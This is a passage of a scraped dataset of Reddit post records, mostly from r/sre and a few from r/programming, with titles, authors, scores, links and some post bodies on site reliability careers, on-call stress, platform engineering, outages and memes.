entire operating system in a language he made by himself, then compiled everything to machine code with a compiler he made himself.",,BitPax,6554,932,1659638239,/r/programming/comments/wg8pam/terry_davis_an_extremely_talented_programmer_who/,https://en.wikipedia.org/wiki/Terry_A._Davis,en.wikipedia.org,False,,,,, ieni93,programming,"Blockchain, the amazing solution for almost nothing",,jessefrederik,6553,1520,1598120356,/r/programming/comments/ieni93/blockchain_the_amazing_solution_for_almost_nothing/,https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86649455475-f933fe63,thecorrespondent.com,False,,,,, mnhjnz,programming,Airline software super-bug: Flight loads miscalculated because women using 'Miss' were treated as children,,self,6521,789,1617975975,/r/programming/comments/mnhjnz/airline_software_superbug_flight_loads/,https://www.theregister.com/2021/04/08/tui_software_mistake/,theregister.com,False,,,,, cdgrxe,programming,"Alan Turing, World War Two codebreaker and mathematician, will be the face of new Bank of England £50 note",,JonathanTheZero,6502,341,1563193295,/r/programming/comments/cdgrxe/alan_turing_world_war_two_codebreaker_and/,https://www.bbc.com/news/business-48962557,bbc.com,False,,,,, z4w5bj,programming,Frontend developers: stop moving things that I’m about to click on,,AJ12AY,6500,573,1669431400,/r/programming/comments/z4w5bj/frontend_developers_stop_moving_things_that_im/,https://medium.com/@stephenjayakar/frontend-developers-stop-moving-things-that-im-about-to-click-on-5827bc0409b3,medium.com,False,,,,, kcwqij,programming,"Every single google service is currently out, including their cloud console. Let's take a moment to feel the pain of their devops team",,The_Grandmother,6486,594,1607948872,/r/programming/comments/kcwqij/every_single_google_service_is_currently_out/,https://www.google.com/appsstatus#hl=en&v=status,google.com,False,,,,, cus0zu,programming,"A 3mil downloads per month JavaScript library, which is already known for misleading newbies, is now adding paid advertisements to users' terminals",,Magnaboy,6460,1024,1566644356,/r/programming/comments/cus0zu/a_3mil_downloads_per_month_javascript_library/,https://github.com/standard/standard/issues/1381,github.com,False,,,,, 725bbw,programming,An in-depth explanation of how a 10 year old bug in Guitar Hero was reverse-engineered and fixed without using the source code,,generalguy26,6405,403,1506263339,/r/programming/comments/725bbw/an_indepth_explanation_of_how_a_10_year_old_bug/,https://www.youtube.com/watch?v=A9U5wK_boYM,youtube.com,False,,,,, stjtwb,sre,Dialing 911 to report a murder,,Dtimothy86,288,3,1644976497,/r/sre/comments/stjtwb/dialing_911_to_report_a_murder/,https://i.redd.it/n6wxt2z5q3i81.jpg,i.redd.it,False,,,,, 1fpmd8o,sre,The four horsemen of the uptime apocalypse ,,neophaltr,169,18,1727319077,/r/sre/comments/1fpmd8o/the_four_horsemen_of_the_uptime_apocalypse/,https://i.redd.it/6ljwdznbi2rd1.png,i.redd.it,False,,,,, 11xn56f,sre,"Job Interview Task: In this exercise, we want you to use https://draw.io or your tool of choice to draw a diagram for an E-Commerce platform based on the following high-level requirements: ...... Didn't get the call back.",,swinney,165,17,1679418277,/r/sre/comments/11xn56f/job_interview_task_in_this_exercise_we_want_you/,https://i.redd.it/xtwahio3j4pa1.png,i.redd.it,False,,,,, nx7678,sre,Bill Lumberg x SRE,,devoopseng,149,5,1623385344,/r/sre/comments/nx7678/bill_lumberg_x_sre/,https://v.redd.it/25y3pu3kck471,v.redd.it,False,,,,, 143u2jn,sre,Should /r/sre Go Dark Next Week?,"EDIT: The people have spoken. /r/sre will be joining the blackout. As I’m sure you’ve seen, lots of subreddits are [going dark to protest the API changes that Reddit](https://i.redd.it/zqptto18e34b1.jpg) plans to implement. We'd like to get community input on this.",thecal714,149,43,1686184220,/r/sre/comments/143u2jn/should_rsre_go_dark_next_week/,https://www.reddit.com/r/sre/comments/143u2jn/should_rsre_go_dark_next_week/,self.sre,True,,,,, 10q2hlz,sre,Can I just have KubeCTL access? I used to have it in my old company,What do you thing about giving devs production access?,gxxgly_eyez,147,38,1675180336,/r/sre/comments/10q2hlz/can_i_just_have_kubectl_access_i_used_to_have_it/,https://i.redd.it/5pwjv8c7zffa1.jpg,i.redd.it,False,,,,, npppxw,sre,Are memes allowed?,,Temik,145,4,1622538611,/r/sre/comments/npppxw/are_memes_allowed/,https://i.redd.it/vx0zyc8tem271.jpg,i.redd.it,False,,,,, 10eiabd,sre,"is there a special place for memes, or should I just post them here?",,gxxgly_eyez,141,5,1673977361,/r/sre/comments/10eiabd/is_there_a_special_place_for_memes_or_should_i/,https://i.redd.it/23hp3345moca1.jpg,i.redd.it,False,,,,, om5wj7,sre,i am SRE,,devoopseng,132,3,1626534099,/r/sre/comments/om5wj7/i_am_sre/,https://i.redd.it/3nzuzvvefsb71.png,i.redd.it,False,,,,, 1fdeso6,sre,Murphys Law aka The Law of the On-Call,,walk_friend,132,15,1725964943,/r/sre/comments/1fdeso6/murphys_law_aka_the_law_of_the_oncall/,https://i.redd.it/94aunf0fcde61.jpg,i.redd.it,False,,,,, m12sdl,sre,Becoming a Platform Engineer,"I am a DevOps/SRE and I have interviewed 10s of people to join the platform team of our company (Fortune 500, hundreds of devs across tens of teams). One of the main issues we have noticed among candidates is the lack of basic understanding of how everything fits together and how to view internal tooling. Becoming a decent DevOps and later platform engineer has been quite the journey for me, here’s my 2c on what I think DevOps/SREs should focus on when looking at internal tooling and related roles. Focus on overall ideas and systems, not specific tools. I found many candidates think that knowing your way around Jenkins and Terraform is enough to call yourself a DevOps. But if you lack the bird's eye view on the overall infrastructure and don’t have a thorough understanding of Linux, you’ll always be limited to a specific stack/set of technologies and you’ll have a hard time creatively problem solving when something new comes up. Learn the system then the tools. Think of internal tools as products, not just as a quick fix to a problem. Treat them as such. A product reacts iteratively to the demand of its consumers (your developers). Have a product manager. Manage in sprints. Test! As a platform engineer, your developers are your customers. Let them tell you what they need. At our company, we use quarterly internal hackathons as a way for everyone to tell us what’s missing in our internal workflows. 50% of prototypes make it to production a few months later. To have meaningful impact, Platform teams depend on having standards in their organization. A good deal of the job is ultimately about finding the right balances between standardization and autonomy. Trying to too support every possible language ecosystem, framework, DB, messaging system, and whatnot spreads Platforms teams too thin to be effective. On the other hand, it is also wise to respect every other team’s autonomy to make their own technical decisions. Opinionated Platform teams risk coming across as patronizing, ivory-tower-dwelling jerks that impose capricious choices on other engineering teams. Standardization and autonomy are complex factors to juggle. I could keep going:) But do people even care about the topic here? Wondering how many of you work in or with a platform team and how you think about these things?",matgalt,125,33,1615281147,/r/sre/comments/m12sdl/becoming_a_platform_engineer/,https://www.reddit.com/r/sre/comments/m12sdl/becoming_a_platform_engineer/,self.sre,True,,,,, o0fy8u,sre,Biden x k8,,devoopseng,111,16,1623768083,/r/sre/comments/o0fy8u/biden_x_k8/,https://v.redd.it/dbdkamefyf571,v.redd.it,False,,,,, qnf8ag,sre,My Friday Feels...,,AaronnBrock,109,8,1636130776,/r/sre/comments/qnf8ag/my_friday_feels/,https://i.redd.it/ntrz9ie93tx71.png,i.redd.it,False,,,,, l89sa6,sre,Murphy’s Law aka The Law of the On-Call,,storypoints,107,5,1611968490,/r/sre/comments/l89sa6/murphys_law_aka_the_law_of_the_oncall/,https://i.redd.it/94aunf0fcde61.jpg,i.redd.it,False,,,,, nv7vrw,sre,Did someone say more memes?,,devoopseng,106,0,1623169046,/r/sre/comments/nv7vrw/did_someone_say_more_memes/,https://v.redd.it/wohwqisbh2471,v.redd.it,False,,,,, oj9q5p,sre,Dropbox SRE career ladder,Dropbox open sourced their SRE career ladder https://dropbox.github.io/dbx-career-framework/ic1_reliability_engineer.html,devoopseng,102,7,1626157103,/r/sre/comments/oj9q5p/dropbox_sre_career_ladder/,https://www.reddit.com/r/sre/comments/oj9q5p/dropbox_sre_career_ladder/,self.sre,True,,,,, sivxsr,sre,'An SRE's daily affirmations',"Today I resolve to accept the code I cannot change, and roll back the code I cannot accept No tool is good or bad, it is only in how it's used. Except for PagerDuty which cannot be used for anything but evil Remember to be kind, everyone is fighting their own private battle, specifically against a CEO who still thinks they can code",serverlessmom,99,15,1643826492,/r/sre/comments/sivxsr/an_sres_daily_affirmations/,https://www.reddit.com/r/sre/comments/sivxsr/an_sres_daily_affirmations/,self.sre,True,,,,, stuekd,sre,"We've spent months building this platform, devs hate it, help me understand why","We're a platform team at a company with 80 devs. We run an average tech stack with Github Actions for CI, EKS, RDS, nothing fancy. We operate several applications on this system, all microservices. The clear direction from management was to build a developer platform that can help engineers self-serve stuff end to end. ""Stuff"" means: * roll-back * new database * new service * debug * configuration management * RBAC * Spin up new environments etc. Why did we decide to do this: operations were just drowning. We spent too much time on repetitive requests from developers that asked stuff in Slack or Jira Tickets. The config files (YAML and Helm) and the maintenance of many teams writing these files freestyle was just not working anymore and led to us long waiting times for everyone. We first trained people around Terraform and Helm but they just didn't want to deal with that and they ended up poking senior developers to fix things instead, which basically created a shadow operations problem on top. Ok, so we built this platform. I think it went well, we did a good job. It's a GUI and we basically tell it ""if a developer needs an RDS of type A, this is the TF file we execute. We also set baseline YAML files, teams can apply diffs against this like a new Env Var or whatever and we compose the configurations on a deployment by deployment basis. Also takes care of Secrets etc.. Honestly, we are pretty proud of the result and does the job. Our team was excited, EMs too. We spent a lot of time explaining the platform to devs and why it's good for them i.e. they can now self-serve everything end to end without being dependent on us. Then devs just say ""no"". There's no clear reasoning here, they don't say what is wrong or why they would refuse, they cannot point at any case that we do not cover and there is an easy and clear way of circumventing this system if you feel restricted. So if you want to do me a favour: can you please share your experience with this stuff? My questions: * Any idea what is going on inside the developers that makes them reject this? * What can I do to change their perception? Change the interaction method? Explain it differently? Give them some magic feature that will swing their perception? I'm really stuck here.",matgalt,94,87,1645013412,/r/sre/comments/stuekd/weve_spent_months_building_this_platform_devs/,https://www.reddit.com/r/sre/comments/stuekd/weve_spent_months_building_this_platform_devs/,self.sre,True,,,,, o5pa4u,sre,reliability > love,,devoopseng,94,3,1624374389,/r/sre/comments/o5pa4u/reliability_love/,https://v.redd.it/93wynmgg1u671,v.redd.it,False,,,,, lua7jz,sre,SRE office hours,"Hello 👋 My name is Artem and I’m an experienced SRE / Cloud Engineer (ex-Google). The idea is simple - I have a 60 minute weekly slot that anyone can book through calendly and we can do anything of the following via videochat: - Talking about anything that you think is “Ops” / “DevOps” or “Site Reliability Engineering”. - Helping people with non-IT/CS backgrounds get into the industry. Those hours are free for anyone to use, there’s no catch. Just my own way to give back to the community 🙂 Do sign up if you’re interested! https://calendly.com/temikus/officehours",Temik,92,37,1614498097,/r/sre/comments/lua7jz/sre_office_hours/,https://www.reddit.com/r/sre/comments/lua7jz/sre_office_hours/,self.sre,True,,,,, xey45q,sre,Current feeling in week 2 of SRE from 10 years as a SysAdmin,,Robinsondan87,91,4,1663251735,/r/sre/comments/xey45q/current_feeling_in_week_2_of_sre_from_10_years_as/,https://i.redd.it/s6pkf6xn71o91.png,i.redd.it,False,,,,, u6xpl6,sre,SRE maturity model Part 1,,hatchikyu,91,19,1650346604,/r/sre/comments/u6xpl6/sre_maturity_model_part_1/,https://i.redd.it/zeg52hjh6fu81.jpg,i.redd.it,False,,,,, xi9fku,sre,"A ""real"" day in the life of an SRE. We have all seen those ""A Day in the life of..."" videos and blogs. I wanted to try and get a ""real"" account of what you do as an SRE/senior SRE. Just to start things off, here is my day....","Setting the context: I am a senior site reliability engineer at a company that makes B2B software for archiving data. My team is in charge of services that are primarily responsible for collecting large quantities of data from customer channels (slack, MSTeams, Zoom etc)... I thought it will be 'interesting' to jot down what I did during my workday. I wanted a ""realistic"" day so the 'day' is in no way selected or curated. ;) &#x200B; PS: I am working from home. &#x200B; 9:00 AM :: Plan ahead... Its the start of the week, so the first thing I do is look at what is scheduled for the whole week and update my 'notes'. I keep track of all the things I need to do on a 'daily/weekly' todo list so that I know what I need to plan for. The team's work itself is tracked on 'Kanban' so my todo list is just for my own personal tracking. ;) I spent about an hour organizing my work, reading emails and catching up with other team members and colleagues. (This is usually how ""Monday"" morning goes. I have found that on the other days, I am able to jump right into work.) &#x200B; 10:00 AM :: Interruptions... I am about to take a break so that I can have my breakfast when one of my team members pinged me. He was having trouble 'seeing' metrics for a newly deployed Mongo cluster. Our tool of choice for observability is DataDog which is an agent based monitoring tool, so usually in these cases checking that the agent integration is actually reporting these metrics is the first step. I give him some hints to troubleshoot. ( I am a big believer in enabling people to solve their own problems so I usually 'hint' at what it could be rather than tell them specifically what to do unless they really are stuck. In most cases because they are a bright bunch they end up figuring it out for themselves and learning a lot during the process. ) I decide to take a break for breakfast. I am a little annoyed with myself for not having got any 'real' work done before my first break. But this is how it goes sometimes. &#x200B; 11:00 AM :: Finally getting some work done... I am back at my desk. I have about 1.5 hours before my next meeting. I quickly pick up a ticket from the top of my Kanban and start working on it. It is quite straightforward. I need to upgrade a few 'agents' running on some of our Mongo clusters. As I am running these upgrades on the non-prod clusters, I am also thinking of how I can avoid this 'toil' in future. Once I complete the upgrades on non-prod and gain confidence, I will raise an MW (Maintenance Window) for production. &#x200B; 12:00 PM :: Ad-Hoc Meetings.. It's just one of those days... Attended a bunch of meetings. As an SRE team we work very closely with the various Dev and Product teams and there are always meetings and discussions to be had. I try to limit the number of meetings I attend during the day whenever I can. But sometimes they are unavoidable... &#x200B; 01:00 PM :: Lunch break.. I decide to take an early break for lunch. Usually if I get into a good 'flow' of work I break late, say around 2 PM and then take a longer lunch break. But today, I decided it was better to have my lunch now and get back to work after that. &#x200B; 02:00 PM :: Refine the team ""manifesto"".. Although we have been doing ""SRE"" for about two years, we did not have a formal ""manifest"" document. I am working on one. Usually I work on this right after lunch since that is the time I am quite ""sluggish"" and I feel I can ease back into work by working on tasks like this. &#x200B; 03:30 PM :: SRE team standup This is our daily standup. This usually goes on for anywhere between 15mts to 1hour based on what current 'issues' or 'blockers' we have. &#x200B; 04:30 PM :: Getting some more work done... I sit down to refactor the codebase for one of our internal projects. Its a bit messy because I was trying to get the Proof of concept working and did not bother to write cleaner code. Its an in-house tool that my team is working on that captures data on all of the different costs incurred by various products and then 'shows' them back to project owners/developers/leaders so that they can make their own decisions on how to use their infrastructure judiciously. Its still in early stages of development, so I am the only developer working on it at the moment. &#x200B; &#x200B; 05:30 PM :: End of day... I usually log out by 5:00 - 5:30 PM unless there is something really important or I am in the mood to focus on something. I try to not do this too much though. &#x200B; &#x200B; \-fin-",SilverOrder1714,90,25,1663587187,/r/sre/comments/xi9fku/a_real_day_in_the_life_of_an_sre_we_have_all_seen/,https://www.reddit.com/r/sre/comments/xi9fku/a_real_day_in_the_life_of_an_sre_we_have_all_seen/,self.sre,True,,,,, rmuj7g,sre,HugOps to all the oncall folks for the next few days!,,chub79,88,14,1640262024,/r/sre/comments/rmuj7g/hugops_to_all_the_oncall_folks_for_the_next_few/,https://giphy.com/gifs/aragorn-thankful-glee-BWil6X0F7a1mE,giphy.com,False,,,,, lxu4xm,sre,Hired - Journey to becoming an SRE,"I recently accepted an offer to join an organization as a Sr. SRE. Although I didn't have direct experience as an SRE, I did have hands-on experience at a few big tech companies across multiple cloud platforms supporting customers in production for the last 9 years. To further develop my technical skills beyond my practical experience with cloud services which abstract away a lot of the complexity, I established a home lab environment for practice while reading, walked through a few sample architecture projects, and most importantly developed in depth knowledge by reading and practicing the skills from the resources below. Since I didn't have a degree in Computer Science, it might seem like a lot of material, but that might not be necessary depending on your experience. It took me over two years to work through most of this material. I initially started going through MOOCs, but it's not nearly as in-depth as traditional textbooks with exercises and problems. In case this helps someone else, I wanted to share. **SRE Role** * Site Reliability Engineering (Google book) * Building Secure & Reliable Systems (Google book) **Linux Systems** * Unix and Linux System Admin Handbook * Introduction to Computing Systems by Yale Platt - my prereq for TLPI below * Systems Performance by Brendan Gregg * The Linux Programming Interface (TLPI) by Kerrisk - (still working through it) **System Design** * System Design Primer (on GitHub) * Designing Distributed Systems by Brendan Burns * Designing Data-Intensive Applications - (still working through it) **Networking** * The Illustrated Network * TCP/IP Illustrated by Stevens (still working through it) **Monitoring** * Practical experience * Elasticstack in Action * Distributed Tracing in Practice **Cloud-Native** * Terraform Up and Running * Validate practical skills with a few certifications * Kubernetes in Action book **Security** * Security by Design (Manning book) * Securing DevOps (Manning book) * Container Security (O'Reilly book)",Excellent-Way3866,87,29,1614889090,/r/sre/comments/lxu4xm/hired_journey_to_becoming_an_sre/,https://www.reddit.com/r/sre/comments/lxu4xm/hired_journey_to_becoming_an_sre/,self.sre,True,,,,, snq3f6,sre,"If you're changing jobs, ask for a sign-on bonus. The market is too competitive not to.","That's it, that's the post. Desperate recruiters flooding our LinkedIn inboxes, Amazon raising salary caps... competition among companies for people who do what we do is high. Now is the time to ask for any and everything you can think of.",Sqeeter,86,35,1644342339,/r/sre/comments/snq3f6/if_youre_changing_jobs_ask_for_a_signon_bonus_the/,https://www.reddit.com/r/sre/comments/snq3f6/if_youre_changing_jobs_ask_for_a_signon_bonus_the/,self.sre,True,,,,, u23ymy,sre,Check out Google’s new public podcast about SRE,,binarydev,84,25,1649783090,/r/sre/comments/u23ymy/check_out_googles_new_public_podcast_about_sre/,https://sre.google/prodcast/,sre.google,False,,,,, o2m85q,sre,Best practice with Terraform,Found [this resource](https://blog.pipetail.io/posts/2020-10-29-most-common-mistakes-terraform/) for Terraform with a lot of good best practice advice. Especially when just starting out I think there are big mistakes to avoid. My takeaway is 1) Store remotely and DON’T use local state. In a team setting that will just be a pain. 2) Always set version constraints on your terraform binary. If not you'll get issues again and again w. TF binary version mismatches when just one person in the team updates and applies local changes. 3) Documentation. Using TFs HCL enables your team to add comments and document infrastructure parameters and outputs. It's something we are not good at at all. Wondering what more experienced folks with TF think about best practices here? We are starting out and it seems less straightforward than I originally thought to get a solid IaC setup up and running.,Eskil_avelon,82,27,1624013112,/r/sre/comments/o2m85q/best_practice_with_terraform/,https://www.reddit.com/r/sre/comments/o2m85q/best_practice_with_terraform/,self.sre,True,,,,, 1fowxkr,sre,who here feels this way ;) ,,pranay01,81,4,1727241331,/r/sre/comments/1fowxkr/who_here_feels_this_way/,https://i.redd.it/g83srp453wqd1.png,i.redd.it,False,,,,, 1eqxmvo,sre,"Which major companies don't have a toxic work culture for senior engineers, on average?","Companies that are terrible to work at, if online forums are anything to go off of: * JPMC * Capital One * Amazon * Apple * Google & Microsoft (post layoffs, especially in cloud teams, which are most of the ones hiring) * pretty much every startup and game dev company * Citadel * Social media (facebook, reddit, snapchat, especially post-layoff) I can confirm the bad engineering culture at a couple of these companies. I'm running out of places to consider viable.",BlueSea9357,79,46,1723518988,/r/sre/comments/1eqxmvo/which_major_companies_dont_have_a_toxic_work/,https://www.reddit.com/r/sre/comments/1eqxmvo/which_major_companies_dont_have_a_toxic_work/,self.sre,True,,,,, 1g47xx9,sre,New watchOS workout update dropped for SREs,,devoopseng,79,1,1728999548,/r/sre/comments/1g47xx9/new_watchos_workout_update_dropped_for_sres/,https://i.redd.it/e28ssk4abxud1.png,i.redd.it,False,,,,, xq33df,sre,I made this API investigation strategy for juniors in my team. Would love some feedback or suggestions.,,siddharthnibjiya,78,2,1664340500,/r/sre/comments/xq33df/i_made_this_api_investigation_strategy_for/,https://i.redd.it/wq6mh0o55jq91.jpg,i.redd.it,False,,,,, ngyp3t,sre,It's about cognitive load,"I am always surprised at how religiously people follow their beliefs when it comes to infrastructural choices, team setups, workflow and pipeline designs, etc. Monoliths vs microservices, you build it you run it vs separation of concerns, and all the endless debates. I found Matthew Skelton and Manuel Pais' Team topologies talk really refreshing in this respect [https://www.youtube.com/watch?v=haejb5rzKsM](https://www.youtube.com/watch?v=haejb5rzKsM). The focus for any SRE/Ops/Platform team should be to optimize your setup and workflows to reduce cognitive load on developers and eventually enable self-service i.e. REAL you build it you run it. Independently of following your specific setup religion. Manuel Pais in particular focuses on internal platform as the key layer to allow developers to interact autonomously with the underlying infra, without needing to understand all the low level stuff that goes on under the hood e.g. helm charts or kubectl. He's hosting an online [session](https://www.meetup.com/platform-engineers-atx-online/events/277977770/) in a couple of weeks as well on the topic. I think reduction of cognintive load really is the key to a good setup design and what most sre/devops should focus on.",kvgru,78,6,1621513134,/r/sre/comments/ngyp3t/its_about_cognitive_load/,https://www.reddit.com/r/sre/comments/ngyp3t/its_about_cognitive_load/,self.sre,True,,,,, uanxdc,sre,"SRE Book Updates, by Topic - learning materials from Google SREs",,Brent-Chang,77,0,1650779349,/r/sre/comments/uanxdc/sre_book_updates_by_topic_learning_materials_from/,https://sre.google/resources/book-update/,sre.google,False,,,,, mgepna,sre,How Adevinta built an internal PaaS for 1500 engineers,"A couple of weeks back I stumbled on the story of Galo Navarro, a platform engineer at Adevinta (huge e-commerce). He [wrote about how he and his team built a PaaS](https://srvaroa.github.io/paas/infrastructure/platform/kubernetes/cloud/2020/01/02/talk-how-to-build-a-paas-for-1500-engineers.html) for their 1500+ engineers to use internally. It's a very compelling story for anyone building internal tooling / systems (or even if you are developer using them). He agreed to tell his story and do a q&a in our next online meetup event. You can join here for who's interested [https://www.meetup.com/platform-engineers-atx-online/events/277109095/](https://www.meetup.com/platform-engineers-atx-online/events/277109095/)",matgalt,77,2,1617106744,/r/sre/comments/mgepna/how_adevinta_built_an_internal_paas_for_1500/,https://www.reddit.com/r/sre/comments/mgepna/how_adevinta_built_an_internal_paas_for_1500/,self.sre,True,,,,, fdu65v,sre,Mayday mayday!,,minorset,77,2,1583409325,/r/sre/comments/fdu65v/mayday_mayday/,https://i.redd.it/yzjb44qcfuk41.jpg,i.redd.it,False,,,,, 1j56svz,sre,"List of 650+ well-funded startups that don't suck (Remote, US, EU)","Hey folks - sharing this open, curated database of well-funded, early-stage startups with strong engineering/product cultures because I couldn't find anything else. You can filter by industry, stage, location, and also search by open SRE roles (/jobs). Totally free btw. No paywall gimmicks. [https://startups.gallery/](https://startups.gallery/) Let me know what you think and share any feedback! Very much a weekend project.",trusted-apiarist,76,4,1741296907,/r/sre/comments/1j56svz/list_of_650_wellfunded_startups_that_dont_suck/,https://www.reddit.com/r/sre/comments/1j56svz/list_of_650_wellfunded_startups_that_dont_suck/,self.sre,True,,,,, 15v1g8n,sre,"Is there some kind of ""leetcode"" equivalent for SRE issues?","I know it's not as straightforward as coding problems but it would be nice to see some example scenarios, what one might typically want to check, that sorta thing to practice. Any suggestions?",Zyster1,73,13,1692405403,/r/sre/comments/15v1g8n/is_there_some_kind_of_leetcode_equivalent_for_sre/,https://www.reddit.com/r/sre/comments/15v1g8n/is_there_some_kind_of_leetcode_equivalent_for_sre/,self.sre,True,,,,, 10x3lqi,sre,How attached do you feel to production?,,gxxgly_eyez,72,7,1675873505,/r/sre/comments/10x3lqi/how_attached_do_you_feel_to_production/,https://i.redd.it/cs3lrrqc81ha1.jpg,i.redd.it,False,,,,, lkr53p,sre,Curated GitHub repository on how organisations around the world practice SRE,,Brilliant-Display954,70,0,1613434663,/r/sre/comments/lkr53p/curated_github_repository_on_how_organisations/,https://github.com/upgundecha/howtheysre,github.com,False,,,,, nj9o0s,sre,Extreme HTTP Performance Tuning: 1.2M API req/s on a 4 vCPU EC2 Instance,,smshgl,69,2,1621782652,/r/sre/comments/nj9o0s/extreme_http_performance_tuning_12m_api_reqs_on_a/,https://talawah.io/blog/extreme-http-performance-tuning-one-point-two-million/#overview,talawah.io,False,,,,, oh269e,sre,Thank you /r/SRE <3,"Hi SRE friends, As many of you may know I started an incident management company called [Rootly](https://rootly.io/) last year after feeling the pain of how hard resolving incidents at Instacart was (where my cofounder and I prev worked). We worked with so many people in this particular subreddit in the early days to shape the product into what it is today. From Q&A to jumping on a call and being some of our first beta users. That feedback helped us build Rootly and recently raise a [$3.2M](https://techcrunch.com/2021/07/08/rootly-nabs-3-2m-seed-to-build-sre-incident-management-solution-inside-slack/?tpcc=ECTW2020) seed round from people like YC, 8VC, CTO GitHub/Dropbox, and many others. The power of Reddit is real and sincerely a big thank you to everyone!! <3 cant wait to show u what we have cooking next. oh PS we wrote about the founding story [here](https://rootly.io/blog/rootly-announces-3-2-million-in-seed-funding-from-xyz-venture-capital-8vc-y-combinator?utm_source=reddit&utm_medium=blog) in more detail if you're interested *Edit: Thank you for all the love and support, so many have signed up already. It's free to try and would love your feedback:* [*http://rootly.io/*](http://rootly.io/)",devoopseng,69,20,1625857082,/r/sre/comments/oh269e/thank_you_rsre_3/,https://www.reddit.com/r/sre/comments/oh269e/thank_you_rsre_3/,self.sre,True,,,,, l5cnc0,sre,The importance of Internal Platform teams,"Last year I met Manuel Pais at Kubecon Berlin and we instantly connected on the topic of the book he had published at the time: Team topologies ([here's his talk](https://www.youtube.com/watch?v=haejb5rzKsM&feature=emb_title) with his co-author when they launched it). Teams are the fundamental building block of organizations, how those teams work and the system they operate in are the difference between average and high performance. In our DevOps universe, we often argue about architectural decisions such as monoliths vs microservices. However, the most effective optimization we can often do is not on the infrastructure level, but rather on the more fundamental team layer. In Manuel's words: we should optimize against developers' cognitive load. This means using architecture and team setup to ensure engineers can specialize in the task they are hired to solve, without having to waste mental capacity on other unrelated tasks. In my experience, this translates into two things: Internal Developer Platforms (IDPs) and Internal Platform teams. While I have posted about IDPs in this subreddit before ([like here](https://www.reddit.com/r/sre/comments/k5vqu9/the_rise_of_internal_developer_platforms/)), I am only recently becoming more aware of the importance of internal platform teams. I see the huge difference they make when companies put them in the right position to service the rest of the organization. Talking to another friend who sees 10s of teams setups weekly (James Whinn, CTO at ExpertThinking), we started mapping out our learnings and what we see worked best across setups, architectures, teams sizes, etc. We will soon summarize everthing into a blog post, but we first decided to host a webinar and open up the conversation as much as possible to get all the input we can. I truly think this conversation is key for any team of 50+ engineers and can really change the way we work between teams across our organizations. You can join me and James [here](https://humanitec.com/webinars/challenges-in-building-and-scaling-internal-platform-teams) if you are interested, we'll cover: 🕳️Typical pitfalls 🗝️Hot to get buy-in from stakeholders, ensure business value and product mindset. People are key! 💾How to industrialise your platform across the Enterprise Hope you find this relevant.",matgalt,69,11,1611662617,/r/sre/comments/l5cnc0/the_importance_of_internal_platform_teams/,https://www.reddit.com/r/sre/comments/l5cnc0/the_importance_of_internal_platform_teams/,self.sre,True,,,,, 11y8pid,sre,You Broke Reddit: The Pi-Day Outage,,SuperQue,66,13,1679464206,/r/sre/comments/11y8pid/you_broke_reddit_the_piday_outage/,https://www.reddit.com/r/RedditEng/comments/11xx5o0/you_broke_reddit_the_piday_outage/,reddit.com,False,,,,, 1foghyl,sre,Have you ever caused a major outage? ,"I run the web series [Humans of Reliability](https://rootly.com/humans-of-reliability), and in our most recent episode I interviewed Chris Ferraro (VP of Platform Eng at Garner Health), and he talked about the time he caused a global outage at Microsoft. Quite a few people have told me this episode really resonated with them, so even though I don't normally do direct content shares like this (I know dropping commercial content can be annoying), I wanted to share the story here because I think he tells it so well and I would really love to hear other stories like this if you have them! Here's Chris's retelling, which you can also watch in [video format](https://rootly.com/humans-of-reliability/chris-ferraro) if you prefer. >I'm one of three people (at least that I know) who’ve brought Microsoft down globally. We were making a group policy change, two of us at the same time. There was a bug in the software and voila—nobody cares exactly how it happened, it just happened. We were completely down for 15 minutes. Fortunately, one of my engineering partners Jason Hughes and I had put in some reliability tooling right before this particular change we made and we were alerted promptly. But it was still a global outage, and there’s really no “good” or “short” global outage, especially at Microsoft’s scale. I'm not gonna blow any sunshine up anybody here. We were able to respond quickly and bring Microsoft back up quickly, but it was a bad day. >I sat through the postmortem, and that was memorable to say the least. I've never had that many people in a room who are all concerned about what I was about to say. I think it's probably the most formative event in my life when it comes to being able to manage through chaos and adversity, and now being able to really be there for engineers when things go wrong—because they will. It showed me how we can all come together in those moments and make the situation better, not worse. But it definitely was the only moment in my career I ever thought *“shoot, should I just walk out the door right now?”* >The thing that kept me coming back, at least in the immediate sense, was curiosity. I kept thinking *“How the F did that happen?”* I went home and tried to recreate it. It didn't work. But I was like, the only thing that was anomalous was this one thing, so I was able to go back to the lab and keep trying to figure it out. Thank you to my managers for allowing me to have that crack at it, because I think I would have gone insane without it, but I went back. I found the thing that I thought was anomalous. I kept going back and I tested in the lab and we nailed it. So initially, it was just this burning curiosity, but long term—man, problem solving is fun. That’s sort of what life is about, it’s the reason why I was an engineer in the first place. >In that moment, I also had an engineering manager at Microsoft who gave me some feedback, and he chose such a harsh moment and delivery in doing so. I viscerally remember it. But that lesson came to fruition when I was a CTO at a Crypto startup. One of my engineers brought down prod by making a change to dev—and everybody knows environmental separation, we all say it's this golden way—but we never do it right the first time. Anyway, this happened to this engineer and I just looked at him and I remembered what that felt like, and that I could make it better or I could make it worse. So I said, *“Hey, you brought down a crypto startup with no customers. We're gonna survive. I'm here. I brought down Microsoft globally. Let's push through. Don't worry. All your friends right now, they're just upset they got to work the weekend, they're not upset with you. We're gonna get through it. You're a great engineer. Let’s play on.”*",sreiously,66,29,1727194813,/r/sre/comments/1foghyl/have_you_ever_caused_a_major_outage/,https://www.reddit.com/r/sre/comments/1foghyl/have_you_ever_caused_a_major_outage/,self.sre,True,,,,, 113t8ou,sre,Became SRE. Highly regret it. Help.,"I work in an environment where getting 50+ pages per week is common. I dread on-call weeks as a result. I have to put my entire life on hold because I am constantly anticipating the next alert that’s likely going to take hours to resolve. Then the following week I am playing catch-up on technical debt and sleep. My rotation is ~once a month. My work/life balance is in shambles and I’ve only taken maybe 3 days off in the past year. It’s been this way since I joined the company and it’s getting worse. What is your experience like? Is this common? I was under the impression SRE was more a platform architecture type role than a help desk full of senior SMEs. I’m conflicted and don’t know what to do next. I just want to write great code and design highly resilient systems, but the amount of pivoting to working customer incidents prevents me from committing the time required to fix root causes permanently. I have a good salary. Not great, but good. All things considered, the amount of hours worked vs compensation earned makes me realize I actually earn less than I did in other senior positions. Any advice from fellow SRE’s?",LocoMod,66,56,1676561402,/r/sre/comments/113t8ou/became_sre_highly_regret_it_help/,https://www.reddit.com/r/sre/comments/113t8ou/became_sre_highly_regret_it_help/,self.sre,True,,,,, zkd2x2,sre,Awesome SLI/SLO list,,Colossuslol,66,4,1670882619,/r/sre/comments/zkd2x2/awesome_slislo_list/,https://github.com/steveazz/awesome-slo,github.com,False,,,,, 